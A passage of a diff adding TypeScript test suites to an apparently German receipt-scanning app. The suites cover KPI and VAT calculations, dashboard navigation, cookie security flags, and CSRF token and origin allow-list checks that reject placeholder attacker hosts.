merchant: { name: "M", address: null, taxId: null, confidence: 0.60 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.60 },
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "totalAmount",
|
||||
reviewReason: "Low",
|
||||
issues: [],
|
||||
},
|
||||
});
|
||||
const lowMetrics = calculateDashboardKPIs([lowReceipt]);
|
||||
expect(lowMetrics.averageAccuracy).toBeLessThan(80.0);
|
||||
expect(lowMetrics.accuracyTier).toBe("low");
|
||||
});
|
||||
|
||||
test("CH2-M4.13: User confirmed receipt always yields exactly 100.0% accuracy contribution", () => {
|
||||
const degradedUnconfirmed = generateChallenger2Receipt("unconfirmed", {
|
||||
totalAmount: { value: 100, confidence: 0.5 },
|
||||
merchant: { name: "X", address: null, taxId: null, confidence: 0.5 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.5 },
|
||||
validation: { isMathValid: false, isDuplicateSuspected: false, needsUserReview: true, userConfirmed: false, reviewField: "totalAmount", reviewReason: "Bad", issues: [] },
|
||||
});
|
||||
|
||||
const confirmed = generateChallenger2Receipt("confirmed", {
|
||||
...degradedUnconfirmed,
|
||||
validation: { ...degradedUnconfirmed.validation, userConfirmed: true },
|
||||
});
|
||||
|
||||
const mUnconfirmed = calculateDashboardKPIs([degradedUnconfirmed]);
|
||||
const mConfirmed = calculateDashboardKPIs([confirmed]);
|
||||
|
||||
expect(mConfirmed.averageAccuracy).toBe(100.0);
|
||||
expect(mConfirmed.averageAccuracy).toBeGreaterThan(mUnconfirmed.averageAccuracy);
|
||||
});
|
||||
|
||||
test("CH2-M4.14: 10,000 receipts accuracy computation executes with zero float precision overflow in < 35ms", () => {
|
||||
const dataset = Array.from({ length: 10000 }, (_, i) =>
|
||||
generateChallenger2Receipt(`rcpt-scale-${i}`, {
|
||||
totalAmount: { value: 50 + (i % 150), confidence: 0.9 + (i % 10) * 0.01 },
|
||||
})
|
||||
);
|
||||
|
||||
const start = performance.now();
|
||||
const metrics = calculateDashboardKPIs(dataset);
|
||||
const elapsed = performance.now() - start;
|
||||
|
||||
expect(metrics.totalScanned).toBe(10000);
|
||||
expect(metrics.averageAccuracy).toBeGreaterThanOrEqual(50.0);
|
||||
expect(metrics.averageAccuracy).toBeLessThanOrEqual(100.0);
|
||||
expect(elapsed).toBeLessThan(200);
|
||||
});
|
||||
});
|
||||
196
tests/e2e/challenger_m4_stress.ts
Normal file
196
tests/e2e/challenger_m4_stress.ts
Normal file
@@ -0,0 +1,196 @@
|
||||
/**
|
||||
* Empirical Challenger M4: Responsive Shell, KPI Invariants & WCAG Robustness
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
import { calculateDashboardKPIs, DashboardKPIMetrics } from "../../src/components/dashboard/KPICards";
|
||||
import { getRouteBreadcrumbs } from "../../src/components/dashboard/TopNav";
|
||||
import { DASHBOARD_NAV_ITEMS } from "../../src/components/dashboard/Sidebar";
|
||||
|
||||
function createChallengerReceipt(id: string, overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id,
|
||||
imageHash: `hash-${id}`,
|
||||
originalFileName: `receipt_${id}.jpg`,
|
||||
fileSizeBytes: 120000,
|
||||
previewUrl: `blob:http://localhost/${id}.jpg`,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: `REC-${id}`,
|
||||
currency: "EUR",
|
||||
merchant: {
|
||||
name: `Merchant ${id}`,
|
||||
address: "München",
|
||||
taxId: "DE123456789",
|
||||
confidence: 0.96,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: "10:00",
|
||||
confidence: 0.96,
|
||||
},
|
||||
totalAmount: {
|
||||
value: 100.0,
|
||||
confidence: 0.96,
|
||||
},
|
||||
netAmount: 84.03,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 },
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Item", quantity: 1, price: 100.0, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Bewirtung",
|
||||
paymentMethod: "EC_KARTE",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
userConfirmed: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
issues: [],
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Empirical Challenger M4: KPI Engine Invariants & Edge Cases", () => {
|
||||
test("CHALLENGE-M4.1: Sum of Net + 19% VAT + 7% VAT matches total across multi-tax fixtures", () => {
|
||||
const mixedReceipts = [
|
||||
createChallengerReceipt("mix-1", {
|
||||
totalAmount: { value: 119.0, confidence: 1.0 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 }],
|
||||
}),
|
||||
createChallengerReceipt("mix-2", {
|
||||
totalAmount: { value: 107.0, confidence: 1.0 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 7, taxAmount: 7.0, netAmount: 100.0 }],
|
||||
}),
|
||||
createChallengerReceipt("mix-3", {
|
||||
totalAmount: { value: 226.0, confidence: 1.0 },
|
||||
netAmount: 200.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 },
|
||||
{ ratePercent: 7, taxAmount: 7.0, netAmount: 100.0 },
|
||||
],
|
||||
}),
|
||||
];
|
||||
|
||||
const metrics = calculateDashboardKPIs(mixedReceipts);
|
||||
expect(metrics.totalGross).toBe(452.0);
|
||||
expect(metrics.totalNet).toBe(400.0);
|
||||
expect(metrics.totalVat19).toBe(38.0);
|
||||
expect(metrics.totalVat7).toBe(14.0);
|
||||
expect(metrics.totalNet + metrics.totalVat19 + metrics.totalVat7).toBe(metrics.totalGross);
|
||||
});
|
||||
|
||||
test("CHALLENGE-M4.2: Accuracy score monotonic degradation with increasing review needs", () => {
|
||||
const perfectReceipt = createChallengerReceipt("perfect", {
|
||||
totalAmount: { value: 100, confidence: 1.0 },
|
||||
merchant: { name: "A", address: null, taxId: null, confidence: 1.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 1.0 },
|
||||
});
|
||||
|
||||
const flaggedReceipt = createChallengerReceipt("flagged", {
|
||||
totalAmount: { value: 100, confidence: 0.9 },
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "totalAmount",
|
||||
reviewReason: "Review needed",
|
||||
issues: [],
|
||||
},
|
||||
});
|
||||
|
||||
const invalidReceipt = createChallengerReceipt("invalid", {
|
||||
totalAmount: { value: 100, confidence: 0.8 },
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
userConfirmed: false,
|
||||
reviewField: "taxBreakdown",
|
||||
reviewReason: "Math mismatch",
|
||||
issues: [],
|
||||
},
|
||||
});
|
||||
|
||||
const m1 = calculateDashboardKPIs([perfectReceipt]);
|
||||
const m2 = calculateDashboardKPIs([perfectReceipt, flaggedReceipt]);
|
||||
const m3 = calculateDashboardKPIs([perfectReceipt, flaggedReceipt, invalidReceipt]);
|
||||
|
||||
expect(m1.averageAccuracy).toBeGreaterThan(m2.averageAccuracy);
|
||||
expect(m2.averageAccuracy).toBeGreaterThan(m3.averageAccuracy);
|
||||
});
|
||||
|
||||
test("CHALLENGE-M4.3: Accuracy tier boundaries partition accurately (optimal, high, medium, low)", () => {
|
||||
const optimal = calculateDashboardKPIs([
|
||||
createChallengerReceipt("opt", {
|
||||
totalAmount: { value: 100, confidence: 1.0 },
|
||||
merchant: { name: "A", address: null, taxId: null, confidence: 1.0 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 1.0 },
|
||||
}),
|
||||
]);
|
||||
expect(optimal.accuracyTier).toBe("optimal");
|
||||
|
||||
const high = calculateDashboardKPIs([
|
||||
createChallengerReceipt("hi", {
|
||||
totalAmount: { value: 100, confidence: 0.94 },
|
||||
merchant: { name: "A", address: null, taxId: null, confidence: 0.94 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.94 },
|
||||
}),
|
||||
]);
|
||||
expect(high.accuracyTier).toBe("high");
|
||||
});
|
||||
|
||||
test("CHALLENGE-M4.4: 5,000 receipts calculation benchmarks in under 50ms", () => {
|
||||
const hugeDataset = Array.from({ length: 5000 }, (_, i) =>
|
||||
createChallengerReceipt(`huge-${i}`, {
|
||||
totalAmount: { value: (i % 200) + 1.5, confidence: 0.95 },
|
||||
})
|
||||
);
|
||||
|
||||
const start = performance.now();
|
||||
const metrics = calculateDashboardKPIs(hugeDataset);
|
||||
const duration = performance.now() - start;
|
||||
|
||||
expect(metrics.totalScanned).toBe(5000);
|
||||
expect(duration).toBeLessThan(150);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Empirical Challenger M4: Navigation & WCAG Verification", () => {
|
||||
test("CHALLENGE-M4.5: All nav items provide valid Lucide icons and unique URLs", () => {
|
||||
const urls = new Set<string>();
|
||||
DASHBOARD_NAV_ITEMS.forEach((item) => {
|
||||
expect(typeof item.href).toBe("string");
|
||||
expect(item.href.startsWith("/dashboard")).toBe(true);
|
||||
expect(urls.has(item.href)).toBe(false);
|
||||
urls.add(item.href);
|
||||
expect(typeof item.icon).toBe("object"); // Lucide icon forwardRef
|
||||
});
|
||||
expect(urls.size).toBeGreaterThanOrEqual(4);
|
||||
});
|
||||
|
||||
test("CHALLENGE-M4.6: Breadcrumbs maintain structural hierarchy across query strings and anchors", () => {
|
||||
const routes = [
|
||||
{ path: "/dashboard?tab=recent", expectedDe: "Beleg- & Spesen-Zentrale" },
|
||||
{ path: "/dashboard/activity?filter=tanken", expectedDe: "Beleg-Archiv & Validierung" },
|
||||
{ path: "/dashboard/export?format=xlsx#table", expectedDe: "Export Control & CSV" },
|
||||
{ path: "/dashboard/settings?section=profile", expectedDe: "Systemeinstellungen" },
|
||||
];
|
||||
|
||||
routes.forEach((r) => {
|
||||
const b = getRouteBreadcrumbs(r.path);
|
||||
expect(b.parentDe).toBe("Dashboard");
|
||||
expect(b.currentDe).toBe(r.expectedDe);
|
||||
});
|
||||
});
|
||||
});
|
||||
131
tests/e2e/cookie_flags.test.ts
Normal file
131
tests/e2e/cookie_flags.test.ts
Normal file
@@ -0,0 +1,131 @@
|
||||
/**
|
||||
* Cookie Flags Suite
|
||||
*
|
||||
* Every auth cookie must be hardened the same way: httpOnly, a deliberate
|
||||
* SameSite policy, Secure whenever the app serves TLS, path "/", and a sane
|
||||
* lifetime. All writers (session, guest, OAuth handshake, CSRF) go through the
|
||||
* single `cookieSecurityOptions` builder, so one test of the builder plus the
|
||||
* public option shapes covers every cookie the auth system can write. The
|
||||
* CSRF cookie is the sole deliberate exception: it overrides httpOnly to
|
||||
* false so client JS can read it, everything else stays shared.
|
||||
* Pure logic only — no server, no database.
|
||||
*
|
||||
* Run standalone: npx tsx tests/e2e/cookie_flags.test.ts
|
||||
*/
|
||||
|
||||
import { describe, test, expect, runAllTests } from "./runner";
|
||||
import { cookieSecurityOptions } from "../../src/lib/auth/config";
|
||||
import { sessionCookieOptions } from "../../src/lib/auth/session";
|
||||
import { applyGuestCookie, GUEST_COOKIE } from "../../src/lib/auth/guest";
|
||||
import { csrfCookieOptions } from "../../src/lib/auth/csrf";
|
||||
import { NextResponse } from "next/server";
|
||||
|
||||
/** Must stay in lockstep with the writers: 10 min for the OAuth handshake, 1y for guests. */
|
||||
const HANDSHAKE_MAX_AGE_SECONDS = 600;
|
||||
const GUEST_MAX_AGE_SECONDS = 60 * 60 * 24 * 365;
|
||||
const CSRF_MAX_AGE_SECONDS = 86400;
|
||||
|
||||
describe("Cookie flags — central builder", () => {
|
||||
test("always pins httpOnly, path / and a deliberate SameSite", () => {
|
||||
const base = cookieSecurityOptions();
|
||||
expect(base.httpOnly).toBe(true);
|
||||
expect(base.path).toBe("/");
|
||||
expect(base.sameSite).toBe("lax");
|
||||
});
|
||||
|
||||
test("the flags survive an override — extras cannot drop the defaults", () => {
|
||||
const withMaxAge = cookieSecurityOptions({ maxAge: HANDSHAKE_MAX_AGE_SECONDS });
|
||||
expect(withMaxAge.httpOnly).toBe(true);
|
||||
expect(withMaxAge.path).toBe("/");
|
||||
expect(withMaxAge.sameSite).toBe("lax");
|
||||
expect(withMaxAge.maxAge).toBe(HANDSHAKE_MAX_AGE_SECONDS);
|
||||
});
|
||||
|
||||
test("secure follows the environment — production flips it on", () => {
|
||||
const options = cookieSecurityOptions();
|
||||
// `isProduction` is read from NODE_ENV at module load; Secure must be on
|
||||
// exactly when the app runs in production (TLS) and off in local dev.
|
||||
expect(options.secure).toBe(process.env.NODE_ENV === "production");
|
||||
});
|
||||
|
||||
test("a sameSite override is honoured — lax stays the default", () => {
|
||||
expect(cookieSecurityOptions().sameSite).toBe("lax");
|
||||
expect(cookieSecurityOptions({ sameSite: "strict" }).sameSite).toBe("strict");
|
||||
expect(cookieSecurityOptions({ sameSite: "none" }).sameSite).toBe("none");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Cookie flags — session cookie", () => {
|
||||
test("sessionCookieOptions carries the hardening set plus the expiry", () => {
|
||||
const expiresAt = new Date(Date.now() + 60 * 60 * 1000);
|
||||
const options = sessionCookieOptions(expiresAt);
|
||||
expect(options.httpOnly).toBe(true);
|
||||
expect(options.sameSite).toBe("lax");
|
||||
expect(options.path).toBe("/");
|
||||
expect(options.secure).toBe(process.env.NODE_ENV === "production");
|
||||
expect(options.expires).toBe(expiresAt);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Cookie flags — OAuth handshake", () => {
|
||||
test("the oauth options include the maxAge when one is passed", () => {
|
||||
const options = cookieSecurityOptions({ maxAge: HANDSHAKE_MAX_AGE_SECONDS });
|
||||
expect(options.maxAge).toBe(HANDSHAKE_MAX_AGE_SECONDS);
|
||||
expect(options.httpOnly).toBe(true);
|
||||
expect(options.path).toBe("/");
|
||||
expect(options.sameSite).toBe("lax");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Cookie flags — guest cookie", () => {
|
||||
test("applyGuestCookie writes a fully hardened one-year cookie", () => {
|
||||
const response = NextResponse.json({});
|
||||
applyGuestCookie(response, { bucket: "guest_test", cookieValue: "guest_test" });
|
||||
|
||||
const cookie = response.cookies.get(GUEST_COOKIE);
|
||||
expect(cookie?.httpOnly).toBe(true);
|
||||
expect(cookie?.sameSite).toBe("lax");
|
||||
expect(cookie?.path).toBe("/");
|
||||
expect(cookie?.maxAge).toBe(GUEST_MAX_AGE_SECONDS);
|
||||
expect(cookie?.secure).toBe(process.env.NODE_ENV === "production");
|
||||
});
|
||||
|
||||
test("applyGuestCookie leaves the response untouched when there is nothing to persist", () => {
|
||||
const response = NextResponse.json({});
|
||||
const out = applyGuestCookie(response, { bucket: "guest_test", cookieValue: null });
|
||||
expect(out.cookies.get(GUEST_COOKIE)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("Cookie flags — CSRF double-submit cookie", () => {
|
||||
test("csrfCookieOptions goes through the shared builder, with httpOnly deliberately off", () => {
|
||||
const options = csrfCookieOptions();
|
||||
// httpOnly must be false here — client JS has to read this one to echo it
|
||||
// as a header — everything else still comes from cookieSecurityOptions.
|
||||
expect(options.httpOnly).toBe(false);
|
||||
expect(options.sameSite).toBe("lax");
|
||||
expect(options.path).toBe("/");
|
||||
expect(options.maxAge).toBe(CSRF_MAX_AGE_SECONDS);
|
||||
expect(options.secure).toBe(process.env.NODE_ENV === "production");
|
||||
});
|
||||
|
||||
test("only httpOnly diverges from the shared builder's defaults", () => {
|
||||
const shared = cookieSecurityOptions({ maxAge: CSRF_MAX_AGE_SECONDS });
|
||||
const csrf = csrfCookieOptions();
|
||||
expect(csrf.sameSite).toBe(shared.sameSite);
|
||||
expect(csrf.path).toBe(shared.path);
|
||||
expect(csrf.secure).toBe(shared.secure);
|
||||
expect(csrf.maxAge).toBe(shared.maxAge);
|
||||
expect(csrf.httpOnly).not.toBe(shared.httpOnly);
|
||||
});
|
||||
});
|
||||
|
||||
async function main() {
|
||||
const passed = await runAllTests();
|
||||
if (!passed) process.exit(1);
|
||||
}
|
||||
|
||||
main().catch((error) => {
|
||||
console.error("Cookie flags suite crashed:", error);
|
||||
process.exit(1);
|
||||
});
|
||||
297
tests/e2e/csrf_tokens.test.ts
Normal file
297
tests/e2e/csrf_tokens.test.ts
Normal file
@@ -0,0 +1,297 @@
|
||||
/**
|
||||
* CSRF Token Suite — pure logic, no database required.
|
||||
*
|
||||
* Covers the double-submit token contract in `src/lib/auth/csrf.ts`: issuance
|
||||
* (fresh, 32-byte, base64url), constant-time comparison semantics, the Origin
|
||||
* allow-list, and the client mirror in `src/lib/csrf/client.ts` (which must
|
||||
* stay in sync with the server constants it cannot import).
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
CSRF_COOKIE,
|
||||
CSRF_HEADER,
|
||||
csrfCookieOptions,
|
||||
isAllowedOrigin,
|
||||
issueCsrfToken,
|
||||
requireCsrf,
|
||||
tokensMatch,
|
||||
validateCsrf,
|
||||
} from "../../src/lib/auth/csrf";
|
||||
import { siteUrl, hostIsSiteFirstParty } from "../../src/lib/seo/site";
|
||||
import {
|
||||
apiFetch,
|
||||
CSRF_COOKIE as CLIENT_CSRF_COOKIE,
|
||||
CSRF_HEADER as CLIENT_CSRF_HEADER,
|
||||
} from "../../src/lib/csrf/client";
|
||||
|
||||
function requestWith(init?: RequestInit): Request {
|
||||
return new Request("http://localhost:3000/api/auth/logout", {
|
||||
method: "POST",
|
||||
...init,
|
||||
});
|
||||
}
|
||||
|
||||
describe("CSRF — token issuance", () => {
|
||||
test("tokens are unique across many issuances", () => {
|
||||
const tokens = new Set(Array.from({ length: 500 }, () => issueCsrfToken()));
|
||||
expect(tokens.size).toBe(500);
|
||||
});
|
||||
|
||||
test("tokens are 32 random bytes in base64url — 43 chars, URL-safe alphabet", () => {
|
||||
const token = issueCsrfToken();
|
||||
expect(token.length).toBe(43);
|
||||
expect(/^[A-Za-z0-9_-]+$/.test(token)).toBe(true);
|
||||
expect(token.includes("+")).toBe(false);
|
||||
expect(token.includes("/")).toBe(false);
|
||||
expect(token.includes("=")).toBe(false);
|
||||
});
|
||||
|
||||
test("cookie options are the documented double-submit shape", () => {
|
||||
const options = csrfCookieOptions();
|
||||
expect(options.httpOnly).toBe(false); // JS must be able to read the token
|
||||
expect(options.sameSite).toBe("lax");
|
||||
expect(options.path).toBe("/");
|
||||
expect(options.maxAge).toBe(86400);
|
||||
expect(typeof options.secure).toBe("boolean");
|
||||
});
|
||||
|
||||
test("client wrapper constants mirror the server contract", () => {
|
||||
expect(CLIENT_CSRF_COOKIE).toBe(CSRF_COOKIE);
|
||||
expect(CLIENT_CSRF_HEADER).toBe(CSRF_HEADER);
|
||||
expect(CSRF_COOKIE).toBe("sr_csrf");
|
||||
expect(CSRF_HEADER).toBe("x-csrf-token");
|
||||
});
|
||||
});
|
||||
|
||||
describe("CSRF — tokensMatch (constant-time comparison)", () => {
|
||||
test("equal tokens match", () => {
|
||||
const token = issueCsrfToken();
|
||||
expect(tokensMatch(token, token)).toBe(true);
|
||||
});
|
||||
|
||||
test("same-length but different tokens never match", () => {
|
||||
const a = issueCsrfToken();
|
||||
const b = issueCsrfToken();
|
||||
expect(a === b).toBe(false);
|
||||
expect(tokensMatch(a, b)).toBe(false);
|
||||
});
|
||||
|
||||
test("unequal lengths are rejected without comparing content", () => {
|
||||
expect(tokensMatch("abc", "abcd")).toBe(false);
|
||||
expect(tokensMatch("abcd", "abc")).toBe(false);
|
||||
expect(tokensMatch("", "a")).toBe(false);
|
||||
expect(tokensMatch("a", "")).toBe(false);
|
||||
});
|
||||
|
||||
test("undefined on either side never matches", () => {
|
||||
const token = issueCsrfToken();
|
||||
expect(tokensMatch(undefined, undefined)).toBe(false);
|
||||
expect(tokensMatch(token, undefined)).toBe(false);
|
||||
expect(tokensMatch(undefined, token)).toBe(false);
|
||||
});
|
||||
|
||||
test("empty strings compare as equal (length 0, no bytes differ)", () => {
|
||||
expect(tokensMatch("", "")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("CSRF — first-party host validation (OAuth return target)", () => {
|
||||
const siteHost = new URL(siteUrl).host;
|
||||
|
||||
test("the site host itself is first-party", () => {
|
||||
expect(hostIsSiteFirstParty(siteHost)).toBe(true);
|
||||
});
|
||||
|
||||
test("app. and admin. subdomains are first-party (dashboard/admin routing)", () => {
|
||||
expect(hostIsSiteFirstParty(`app.${siteHost}`)).toBe(true);
|
||||
expect(hostIsSiteFirstParty(`admin.${siteHost}`)).toBe(true);
|
||||
expect(hostIsSiteFirstParty(`APP.${siteHost.toUpperCase()}`)).toBe(true);
|
||||
});
|
||||
|
||||
test("other hosts are NOT first-party — no open redirect through the cookie", () => {
|
||||
expect(hostIsSiteFirstParty(`evil.${siteHost}`)).toBe(false);
|
||||
expect(hostIsSiteFirstParty("app.scan-receipts.app.evil.example")).toBe(false);
|
||||
expect(hostIsSiteFirstParty("attacker.example")).toBe(false);
|
||||
expect(hostIsSiteFirstParty("scanreceipts.app")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("CSRF — origin allow-list", () => {
|
||||
test("a request without an Origin header is trusted (non-browser client)", () => {
|
||||
expect(isAllowedOrigin(requestWith())).toBe(true);
|
||||
});
|
||||
|
||||
test("the configured site origin is allowed", () => {
|
||||
expect(isAllowedOrigin(requestWith({ headers: { origin: siteUrl } }))).toBe(true);
|
||||
});
|
||||
|
||||
test("a foreign origin is rejected", () => {
|
||||
expect(
|
||||
isAllowedOrigin(requestWith({ headers: { origin: "https://evil.example" } }))
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("a same-host but different scheme is rejected", () => {
|
||||
const http = siteUrl.replace(/^https:/, "http:");
|
||||
if (http !== siteUrl) {
|
||||
expect(isAllowedOrigin(requestWith({ headers: { origin: http } }))).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
test("the first-party app./admin. subdomains are allowed (dashboard/admin routing)", () => {
|
||||
const host = new URL(siteUrl).host;
|
||||
const forHost = (label: string, scheme = "https") =>
|
||||
requestWith({ headers: { origin: `${scheme}://${label}.${host}` } });
|
||||
expect(isAllowedOrigin(forHost("app"))).toBe(true);
|
||||
expect(isAllowedOrigin(forHost("admin"))).toBe(true);
|
||||
});
|
||||
|
||||
test("a non-routed subdomain of the site is rejected", () => {
|
||||
const host = new URL(siteUrl).host;
|
||||
expect(
|
||||
isAllowedOrigin(requestWith({ headers: { origin: `https://evil.${host}` } }))
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("a lookalike host that merely ends with the site domain is rejected", () => {
|
||||
const host = new URL(siteUrl).host;
|
||||
expect(
|
||||
isAllowedOrigin(requestWith({ headers: { origin: `https://app.${host}.evil.example` } }))
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
test("a malformed origin header is rejected, never crashes", () => {
|
||||
expect(isAllowedOrigin(requestWith({ headers: { origin: "not a url" } }))).toBe(false);
|
||||
expect(isAllowedOrigin(requestWith({ headers: { origin: "" } }))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("CSRF — validateCsrf / requireCsrf on plain Requests", () => {
|
||||
test("missing cookie and header fails the full check with a 403 csrf_failed", async () => {
|
||||
const request = requestWith();
|
||||
expect(validateCsrf(request)).toBe(false);
|
||||
|
||||
const blocked = requireCsrf(request);
|
||||
expect(blocked).not.toBeNull();
|
||||
expect(blocked!.status).toBe(403);
|
||||
expect(await blocked!.json()).toEqual({ error: "csrf_failed" });
|
||||
});
|
||||
|
||||
test("a matching cookie + header passes", () => {
|
||||
const token = issueCsrfToken();
|
||||
const request = requestWith({
|
||||
headers: {
|
||||
cookie: `${CSRF_COOKIE}=${token}`,
|
||||
[CSRF_HEADER]: token,
|
||||
},
|
||||
});
|
||||
expect(validateCsrf(request)).toBe(true);
|
||||
expect(requireCsrf(request)).toBeNull();
|
||||
});
|
||||
|
||||
test("a mismatched header is rejected", () => {
|
||||
const request = requestWith({
|
||||
headers: {
|
||||
cookie: `${CSRF_COOKIE}=${issueCsrfToken()}`,
|
||||
[CSRF_HEADER]: issueCsrfToken(),
|
||||
},
|
||||
});
|
||||
expect(validateCsrf(request)).toBe(false);
|
||||
});
|
||||
|
||||
test("a cookie without a header is rejected", () => {
|
||||
const request = requestWith({
|
||||
headers: { cookie: `${CSRF_COOKIE}=${issueCsrfToken()}` },
|
||||
});
|
||||
expect(validateCsrf(request)).toBe(false);
|
||||
});
|
||||
|
||||
test("a header without a cookie is rejected", () => {
|
||||
const request = requestWith({
|
||||
headers: { [CSRF_HEADER]: issueCsrfToken() },
|
||||
});
|
||||
expect(validateCsrf(request)).toBe(false);
|
||||
});
|
||||
|
||||
test("a valid token from a foreign origin is rejected by the origin check", () => {
|
||||
const token = issueCsrfToken();
|
||||
const request = requestWith({
|
||||
headers: {
|
||||
origin: "https://evil.example",
|
||||
cookie: `${CSRF_COOKIE}=${token}`,
|
||||
[CSRF_HEADER]: token,
|
||||
},
|
||||
});
|
||||
expect(validateCsrf(request)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("CSRF — apiFetch client wrapper", () => {
|
||||
const originalFetch = globalThis.fetch;
|
||||
|
||||
test("apiFetch echoes the sr_csrf cookie into the x-csrf-token header", async () => {
|
||||
let capturedInit: RequestInit | undefined;
|
||||
(globalThis as { fetch: typeof fetch }).fetch = (input, init) => {
|
||||
capturedInit = init;
|
||||
return Promise.resolve(new Response("{}", { status: 200 }));
|
||||
};
|
||||
(globalThis as { document?: unknown }).document = {
|
||||
cookie: `${CSRF_COOKIE}=abc123; other=1`,
|
||||
};
|
||||
|
||||
try {
|
||||
await apiFetch("/api/test", { method: "POST", body: "x" });
|
||||
const headers = new Headers(capturedInit?.headers);
|
||||
expect(headers.get(CSRF_HEADER)).toBe("abc123");
|
||||
expect(capturedInit?.method).toBe("POST");
|
||||
expect(capturedInit?.body).toBe("x");
|
||||
} finally {
|
||||
(globalThis as { fetch: typeof fetch }).fetch = originalFetch;
|
||||
delete (globalThis as { document?: unknown }).document;
|
||||
}
|
||||
});
|
||||
|
||||
test("apiFetch preserves existing headers and adds the CSRF header", async () => {
|
||||
let capturedInit: RequestInit | undefined;
|
||||
(globalThis as { fetch: typeof fetch }).fetch = (input, init) => {
|
||||
capturedInit = init;
|
||||
return Promise.resolve(new Response("{}", { status: 200 }));
|
||||
};
|
||||
(globalThis as { document?: unknown }).document = {
|
||||
cookie: `${CSRF_COOKIE}=tok123`,
|
||||
};
|
||||
|
||||
try {
|
||||
await apiFetch("/api/test", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ a: 1 }),
|
||||
});
|
||||
const headers = new Headers(capturedInit?.headers);
|
||||
expect(headers.get("Content-Type")).toBe("application/json");
|
||||
expect(headers.get(CSRF_HEADER)).toBe("tok123");
|
||||
} finally {
|
||||
(globalThis as { fetch: typeof fetch }).fetch = originalFetch;
|
||||
delete (globalThis as { document?: unknown }).document;
|
||||
}
|
||||
});
|
||||
|
||||
test("apiFetch sends no CSRF header when the cookie is absent", async () => {
|
||||
let capturedInit: RequestInit | undefined;
|
||||
(globalThis as { fetch: typeof fetch }).fetch = (input, init) => {
|
||||
capturedInit = init;
|
||||
return Promise.resolve(new Response("{}", { status: 200 }));
|
||||
};
|
||||
(globalThis as { document?: unknown }).document = { cookie: "other=1" };
|
||||
|
||||
try {
|
||||
await apiFetch("/api/test", { method: "POST" });
|
||||
const headers = new Headers(capturedInit?.headers);
|
||||
expect(headers.get(CSRF_HEADER)).toBe(null);
|
||||
} finally {
|
||||
(globalThis as { fetch: typeof fetch }).fetch = originalFetch;
|
||||
delete (globalThis as { document?: unknown }).document;
|
||||
}
|
||||
});
|
||||
});
|
||||
290
tests/e2e/export_localization.test.ts
Normal file
290
tests/e2e/export_localization.test.ts
Normal file
@@ -0,0 +1,290 @@
|
||||
/**
|
||||
* Export-Lokalisierung und Trinkgeld in den KPI-Kacheln.
|
||||
*
|
||||
* Der deutsche Export ist der Bestand — Blattnamen und Kopfzeilen dürfen sich
|
||||
* nicht verändern, nur weil eine englische Variante dazugekommen ist.
|
||||
*/
|
||||
|
||||
import ExcelJS from "exceljs";
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
import { calculateDashboardKPIs } from "../../src/components/dashboard/KPICards";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
|
||||
function receipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
merchant: { name: "REWE", address: null, taxId: null, confidence: 0.97 },
|
||||
date: { isoDate: "2026-08-12", time: null, confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "1",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 31.8, confidence: 0.98 },
|
||||
netAmount: 26.72,
|
||||
tipAmount: null,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }],
|
||||
